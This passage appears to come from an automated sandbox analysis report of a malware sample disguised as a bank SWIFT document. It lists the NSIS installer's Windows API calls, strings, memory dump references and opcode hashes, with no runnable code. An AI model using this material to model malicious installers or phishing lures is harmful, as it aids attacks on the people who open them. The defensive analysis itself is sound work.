                                                                                                            • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D4F
                                                                                                            • ShowWindow.USER32(?,00000005), ref: 00404D60
                                                                                                            • SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E5D
                                                                                                            • SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EC2
                                                                                                            • SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ED7
                                                                                                            • SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EFB
                                                                                                            • SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F1B
                                                                                                            • ImageList_Destroy.COMCTL32(?), ref: 00404F30
                                                                                                            • GlobalFree.KERNEL32(?), ref: 00404F40
                                                                                                            • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB9
                                                                                                            • SendMessageW.USER32(?,00001102,?,?), ref: 00405062
                                                                                                            • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405071
                                                                                                            • InvalidateRect.USER32(?,00000000,00000001), ref: 00405091
                                                                                                            • ShowWindow.USER32(?,00000000), ref: 004050DF
                                                                                                            • GetDlgItem.USER32(?,000003FE), ref: 004050EA
                                                                                                            • ShowWindow.USER32(00000000), ref: 004050F1
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                                                                            • String ID: $M$N
                                                                                                            • API String ID: 1638840714-813528018
                                                                                                            • Opcode ID: f5222cf6d3fcdeff0966a9eee7e30bd6d921d2d03bb49bae54bf4b748700a109
                                                                                                            • Instruction ID: d71a5cbf05b966a5fca8a5aa47d1df2e6c399d67ef135bcf6f64f468dd7cdb7f
                                                                                                            • Opcode Fuzzy Hash: f5222cf6d3fcdeff0966a9eee7e30bd6d921d2d03bb49bae54bf4b748700a109
                                                                                                            • Instruction Fuzzy Hash: 6E027FB0900209EFEB209F54DD85AAE7BB5FB84314F10857AF610BA2E0D7799D52CF58
                                                                                                            APIs
                                                                                                            • #17.COMCTL32 ref: 00403379
                                                                                                            • SetErrorMode.KERNEL32(00008001), ref: 00403384
                                                                                                            • OleInitialize.OLE32(00000000), ref: 0040338B
                                                                                                              • Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
                                                                                                              • Part of subcall function 00406254: LoadLibraryA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406271
                                                                                                              • Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282
                                                                                                            • SHGetFileInfoW.SHELL32(00420690,00000000,?,000002B4,00000000), ref: 004033B3
                                                                                                              • Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7
                                                                                                            • GetCommandLineW.KERNEL32(004281E0,NSIS Error), ref: 004033C8
                                                                                                            • GetModuleHandleW.KERNEL32(00000000,00434000,00000000), ref: 004033DB
                                                                                                            • CharNextW.USER32(00000000,00434000,00000020), ref: 00403402
                                                                                                            • GetTempPathW.KERNEL32(00000400,00436800,00000000,00000020), ref: 0040350B
                                                                                                            • GetWindowsDirectoryW.KERNEL32(00436800,000003FB), ref: 0040351C
                                                                                                            • lstrcatW.KERNEL32(00436800,\Temp), ref: 00403528
                                                                                                            • GetTempPathW.KERNEL32(000003FC,00436800,00436800,\Temp), ref: 0040353C
                                                                                                            • lstrcatW.KERNEL32(00436800,Low), ref: 00403544
                                                                                                            • SetEnvironmentVariableW.KERNEL32(TEMP,00436800,00436800,Low), ref: 00403555
                                                                                                            • SetEnvironmentVariableW.KERNEL32(TMP,00436800), ref: 0040355D
                                                                                                            • DeleteFileW.KERNEL32(00436000), ref: 00403571
                                                                                                            • OleUninitialize.OLE32(?), ref: 00403621
                                                                                                            • ExitProcess.KERNEL32 ref: 00403641
                                                                                                            • lstrcatW.KERNEL32(00436800,~nsu.tmp,00434000,00000000,?), ref: 0040364D
                                                                                                            • lstrcmpiW.KERNEL32(00436800,00435800,00436800,~nsu.tmp,00434000,00000000,?), ref: 00403659
                                                                                                            • CreateDirectoryW.KERNEL32(00436800,00000000), ref: 00403665
                                                                                                            • SetCurrentDirectoryW.KERNEL32(00436800), ref: 0040366C
                                                                                                            • DeleteFileW.KERNEL32(0041FE90,0041FE90,?,0042A000,?), ref: 004036C6
                                                                                                            • CopyFileW.KERNEL32(00437800,0041FE90,00000001), ref: 004036DA
                                                                                                            • CloseHandle.KERNEL32(00000000,0041FE90,0041FE90,?,0041FE90,00000000), ref: 00403707
                                                                                                            • GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 0040375D
                                                                                                            • ExitWindowsEx.USER32(00000002,00000000), ref: 00403799
                                                                                                            • ExitProcess.KERNEL32 ref: 004037BC
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
                                                                                                            • String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
                                                                                                            • API String ID: 4107622049-1875889550
                                                                                                            • Opcode ID: f59da56ce79cf3752257f316979aefb191ab981252506581a540253af1472897
                                                                                                            • Instruction ID: adac61535fb2ab45c93a94ea6b46826cba801cc8f349b6914fd9ce0ca4797ca8
                                                                                                            • Opcode Fuzzy Hash: f59da56ce79cf3752257f316979aefb191ab981252506581a540253af1472897
                                                                                                            • Instruction Fuzzy Hash: 72B1C170904211AAD720BF619D49A3B3EACEB4570AF40453FF542BA2E2D77C9941CB7E
                                                                                                            APIs
                                                                                                            • DeleteFileW.KERNEL32(?,?,00436800,75922EE0,00434000), ref: 0040579B
                                                                                                            • lstrcatW.KERNEL32(004246D8,\*.*,004246D8,?,?,00436800,75922EE0,00434000), ref: 004057E3
                                                                                                            • lstrcatW.KERNEL32(?,00409014,?,004246D8,?,?,00436800,75922EE0,00434000), ref: 00405806
                                                                                                            • lstrlenW.KERNEL32(?,?,00409014,?,004246D8,?,?,00436800,75922EE0,00434000), ref: 0040580C
                                                                                                            • FindFirstFileW.KERNEL32(004246D8,?,?,?,00409014,?,004246D8,?,?,00436800,75922EE0,00434000), ref: 0040581C
                                                                                                            • FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 004058BC
                                                                                                            • FindClose.KERNEL32(00000000), ref: 004058CB
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                                                                            • String ID: \*.*
                                                                                                            • API String ID: 2035342205-1173974218
                                                                                                            • Opcode ID: f101a222198de3598bef61ef3d06d471c43b44ecc91151dca5712a762e0b7e66
                                                                                                            • Instruction ID: 64b0c8684543101156bed993c7ef625b5cb6937b92a1292c702a5556077473ca
                                                                                                            • Opcode Fuzzy Hash: f101a222198de3598bef61ef3d06d471c43b44ecc91151dca5712a762e0b7e66
                                                                                                            • Instruction Fuzzy Hash: 4341B031800914EADF217B619C89ABF7678EF45728F10817BF800B51D1D77C4992DE6E
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID: "$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q
                                                                                                            • API String ID: 0-3604444728
                                                                                                            • Opcode ID: 474be4de4c63bdb8659aa8106768f4ae0e957828d49fb276573d5f53334755ed
                                                                                                            • Instruction ID: e3d79d2e8127716272135235739449bb09f7fb34c45863f36465127151889c5e
                                                                                                            • Opcode Fuzzy Hash: 474be4de4c63bdb8659aa8106768f4ae0e957828d49fb276573d5f53334755ed
                                                                                                            • Instruction Fuzzy Hash: F9329E74E002188FEB68CF65C994BDDBBB2BF89300F1085AAD909A7361DB755E85CF10
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID: "$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q
                                                                                                            • API String ID: 0-3604444728
                                                                                                            • Opcode ID: 4aad1f3d89ea9499347c2bbf8c2b94e52b43a0c18acb35274120396e00419c69
                                                                                                            • Instruction ID: bfbc3a379ba9dbdefc640c233a6b5898e151a5ba0ab8d44e4ae0390248f2f96c
                                                                                                            • Opcode Fuzzy Hash: 4aad1f3d89ea9499347c2bbf8c2b94e52b43a0c18acb35274120396e00419c69
                                                                                                            • Instruction Fuzzy Hash: 9602AFB4E002188FDB58CF69C994BDDBBB2BF89300F1085A9D909A7365DB359E85CF14
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
                                                                                                            • Instruction ID: edf170fb2c3714e597751af3e8fd03d842b3b080db723bf9ee749212abe0df6d
                                                                                                            • Opcode Fuzzy Hash: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
                                                                                                            • Instruction Fuzzy Hash: D3F17771D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44
                                                                                                            APIs
                                                                                                            • FindFirstFileW.KERNEL32(00436800,00425720,00424ED8,00405A86,00424ED8,00424ED8,00000000,00424ED8,00424ED8,00436800,?,75922EE0,00405792,?,00436800,75922EE0), ref: 00406238
                                                                                                            • FindClose.KERNEL32(00000000), ref: 00406244
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Find$CloseFileFirst
                                                                                                            • String ID: WB
                                                                                                            • API String ID: 2295610775-2854515933
                                                                                                            • Opcode ID: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
                                                                                                            • Instruction ID: f398094869b5afba054f99dea52ba5834f85055b19877d8081192ff4b2f0d438
                                                                                                            • Opcode Fuzzy Hash: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
                                                                                                            • Instruction Fuzzy Hash: DAD012319480209BC21037387E0C85B7A59AB493307524AB7F82AF27E0C738AC6586AD
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID: .5uq
                                                                                                            • API String ID: 0-910421107
                                                                                                            • Opcode ID: 8ba45957be093584d1d4ab1c000f05895e53e4354ae79e652dfbe84b31ff46d6
                                                                                                            • Instruction ID: 2a8b1455c61573ee340092dff6f1665818e8a96452c4ecef95525a1db7d73e2b
                                                                                                            • Opcode Fuzzy Hash: 8ba45957be093584d1d4ab1c000f05895e53e4354ae79e652dfbe84b31ff46d6
                                                                                                            • Instruction Fuzzy Hash: 2F628B74E01228CFDB64DF69C884BDDBBB2BB89301F5085EAD409A7255DB359E81CF90
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 7b2a1caba79df6b4f8d0624a7425638d3a3002146148598c5cd19ee4b54dc8c1
                                                                                                            • Instruction ID: e0e07680c7c25f2cdbfe942a6404dc980551498c566533dd969f9dfba48d4b0a
                                                                                                            • Opcode Fuzzy Hash: 7b2a1caba79df6b4f8d0624a7425638d3a3002146148598c5cd19ee4b54dc8c1
                                                                                                            • Instruction Fuzzy Hash: 7EC1B274E00218CFDB14DFA5C984B9DBBB2BF89304F1081AAD819AB365DB355E86CF15
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 07c62452220bca3cadef0cb206b71b6ce6757b29329e28d600453e05b4ac3f13
                                                                                                            • Instruction ID: c4c93fc72f6f189a6e6d821d417e4e53593175de93ec7da27d212aa5524aef53
                                                                                                            • Opcode Fuzzy Hash: 07c62452220bca3cadef0cb206b71b6ce6757b29329e28d600453e05b4ac3f13
                                                                                                            • Instruction Fuzzy Hash: 45C1A174E01218CFDB14DFA5C994B9DBBB2BF89304F1084AAD809AB365DB355A86CF14
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 9f1862006fb645043d2a6ad5e42dbb748264921da8031d501a95f6a2b81a678c
                                                                                                            • Instruction ID: 1956544ab5179f8b2af7a982080ce1e256e49eedd89f87a1486cb4fd00bc5298
                                                                                                            • Opcode Fuzzy Hash: 9f1862006fb645043d2a6ad5e42dbb748264921da8031d501a95f6a2b81a678c
                                                                                                            • Instruction Fuzzy Hash: EDC1B174E00218CFDB14DFA5C984B9DBBB6BF89300F5081AAD809BB365DB359A85CF15
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 9bbaf17052af05ecdf70a04f7d73e88c421cd9c6fac0db01fe17fd605746ad38
                                                                                                            • Instruction ID: 17f0faa7fb42a03880e5b05d687d8d89c21cd1681b519b023bc72168b1d6c9b9
                                                                                                            • Opcode Fuzzy Hash: 9bbaf17052af05ecdf70a04f7d73e88c421cd9c6fac0db01fe17fd605746ad38
                                                                                                            • Instruction Fuzzy Hash: 35C1B174E00218CFDB14DFA5C984B9DBBB2AF89304F5080AAD809BB365DB359A85CF15
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: dc0be7e5147fe847e384b4e8b001c6ce545bd539e2485dff39376170e24c8309
                                                                                                            • Instruction ID: efb8f09b33ee8658cf35aa047afe5bb770dd743b5c6be9be2ad0c5cb1a282728
                                                                                                            • Opcode Fuzzy Hash: dc0be7e5147fe847e384b4e8b001c6ce545bd539e2485dff39376170e24c8309
                                                                                                            • Instruction Fuzzy Hash: 0CC1B274E00218CFDB14DFA9C984B9DBBB2BF89300F5081AAD409AB365DB359E85CF15
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 2ebcc18b04f91444936e17cb2390482aaf936648c37b6d9bd9fbfea8ea678d2b
                                                                                                            • Instruction ID: 10a5ff78e235b1e321b375de9c6c71836cd8e8f7928db31fa70b60de7e93f140
                                                                                                            • Opcode Fuzzy Hash: 2ebcc18b04f91444936e17cb2390482aaf936648c37b6d9bd9fbfea8ea678d2b
                                                                                                            • Instruction Fuzzy Hash: 5EC1B274E00218CFDB14DFA5C994B9DBBB6BF89304F1080AAD409AB365DB359D86CF54
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 836b69d745dcb72f73050869422bd693c6e8b0b67c8909d6a165bb8b2658d809
                                                                                                            • Instruction ID: d86137809cf85df6415d7336ea73771648176917d42c369f26fcd622bb981908
                                                                                                            • Opcode Fuzzy Hash: 836b69d745dcb72f73050869422bd693c6e8b0b67c8909d6a165bb8b2658d809
                                                                                                            • Instruction Fuzzy Hash: 18C1B174E00218CFDB14DFA9C984B9DBBB6BF89300F1081AAD409AB365DB359E85CF55
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: dbf1b85dfa9b276ccfc5f2a937d80ba87d48ca6d9c25dc7d581a4ddb02f7b0dc
                                                                                                            • Instruction ID: 522d7878ef5df7ed69133e0fc65b2147cf3a9efedd73f0c74754cbbec0267cbb
                                                                                                            • Opcode Fuzzy Hash: dbf1b85dfa9b276ccfc5f2a937d80ba87d48ca6d9c25dc7d581a4ddb02f7b0dc
                                                                                                            • Instruction Fuzzy Hash: 03C1B274E00218CFDB14DFA5C984B9DBBB6BF89300F1081AAD809AB365DB359E85CF55
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: e81edd2239413bb2621b070fa5e15c3f6851c0d11838237c0c4af4639dfba6f4
                                                                                                            • Instruction ID: 8dd5213748f73e805bf1abd740939ac6b4325d3149e93502bbf61ec65477c586
                                                                                                            • Opcode Fuzzy Hash: e81edd2239413bb2621b070fa5e15c3f6851c0d11838237c0c4af4639dfba6f4
                                                                                                            • Instruction Fuzzy Hash: 58C1A274E00218CFDB14DFA9C984B9DBBB2BF89304F1081AAD809AB365DB355D86CF55
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: b7123a7c7248c5d416d90045d8b5781eaa7aeec06edf7ea8b81fbcd6fda1bbf5
                                                                                                            • Instruction ID: 88cf93b5fdea5fd4bcac88a7cefb2805880dfca2e50dd54c16ccf10175a90f20
                                                                                                            • Opcode Fuzzy Hash: b7123a7c7248c5d416d90045d8b5781eaa7aeec06edf7ea8b81fbcd6fda1bbf5
                                                                                                            • Instruction Fuzzy Hash: 79C1B274E00218CFDB14DFA5C984B9DBBB2AF89304F1080AAD809BB365DB359D85CF14
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: dfb48e09bf47cd9dd1471bd1771fddc76bd34c5fb8000e93607f6ba833bffd77
                                                                                                            • Instruction ID: e334f025e68c977552d1ef2c2c9f0d9876cf3f1d1120064284e3ee93512df031
                                                                                                            • Opcode Fuzzy Hash: dfb48e09bf47cd9dd1471bd1771fddc76bd34c5fb8000e93607f6ba833bffd77
                                                                                                            • Instruction Fuzzy Hash: 33C1B274E00218CFDB14DFA5C984B9DBBB2BF89300F1080AAD809AB365DB359D85CF11
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 87d72cd871c5ca0ce2331965eae7209bd640f62e17d7426ec1836d21f14e36d6
                                                                                                            • Instruction ID: bc6b823954e5a187e36f7ba5eb5fe8995584ebbaf3e881e5935b437ded169e65
                                                                                                            • Opcode Fuzzy Hash: 87d72cd871c5ca0ce2331965eae7209bd640f62e17d7426ec1836d21f14e36d6
                                                                                                            • Instruction Fuzzy Hash: A5C1A274E00218CFDB14DFA9C994B9DBBB6BF89300F1084AAD809AB365DB355D86CF15
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 6016e7386847fc74778c904cb2f84e7333530dbe7dea30662aa4cc8f13f17d10
                                                                                                            • Instruction ID: e8e8915f714392eea7340b7e001cc2b917a9a30c4b98ead909fb07236b47509d
                                                                                                            • Opcode Fuzzy Hash: 6016e7386847fc74778c904cb2f84e7333530dbe7dea30662aa4cc8f13f17d10
                                                                                                            • Instruction Fuzzy Hash: 3FC1B274E00258CFDB14DFA9C984B9DBBB6BF89304F1084AAD409AB365DB359E85CF14
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
